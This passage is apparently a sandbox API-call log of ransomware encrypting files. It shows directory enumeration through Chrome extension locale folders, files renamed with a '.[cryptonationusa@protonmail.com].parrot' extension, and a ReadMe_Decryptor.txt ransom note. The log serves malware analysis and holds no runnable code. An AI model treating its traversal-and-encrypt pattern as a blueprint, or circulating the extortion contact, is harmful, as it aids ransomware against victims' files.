hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.984] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.985] CloseHandle (hObject=0x274) returned 1 [0096.985] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb32c5520, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb32c5520, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb32c5520, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.985] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.985] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb32c5520, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb32c5520, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.985] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb329f3c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.986] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.986] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.986] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.986] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.987] CloseHandle (hObject=0x274) returned 1 [0096.987] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.987] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb32eb680, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb32eb680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.987] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b28c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb32eb680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.987] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.987] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.987] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.987] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.988] CloseHandle (hObject=0x274) returned 1 [0096.988] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.988] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb34da860, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb34da860, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.988] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b28c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb33cfec0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.988] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.989] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.989] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.989] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.989] CloseHandle (hObject=0x274) returned 1 [0096.990] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.990] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb35009c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb35009c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.990] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b28c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb35009c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.990] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.990] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.990] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.990] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.991] CloseHandle (hObject=0x274) returned 1 [0096.991] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.991] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb35bf0a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb35bf0a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.991] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b28c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb35bf0a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.991] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.991] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.991] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.992] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.992] CloseHandle (hObject=0x274) returned 1 [0096.992] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.992] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb3657620, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb3657620, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.993] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb35e5200, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.993] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0096.993] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.993] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf3fd0e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf3fd0e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0096.993] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf769080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf769080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0096.993] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf78f1e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf78f1e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0096.993] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf9a4520, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf9a4520, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0096.993] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf9ca680, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf9ca680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0096.993] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xafd104c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafd104c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0096.993] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xafe8d280, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafe8d280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0096.993] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857e1690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xafed9540, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafed9540, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0096.993] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb007c460, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb007c460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0096.993] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb039c140, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb039c140, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0096.993] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb03c22a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb03c22a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_419", cAlternateFileName="")) returned 1 [0096.993] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb06238a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb06238a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0096.993] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb0649a00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0649a00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0096.993] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb08f72c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb08f72c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1 [0096.993] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb0a27dc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0a27dc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0096.993] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb0a4df20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0a4df20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0096.993] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb0b32760, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0b32760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0096.993] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb0c63260, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0c63260, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0096.993] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb0d93d60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0d93d60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0096.993] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, 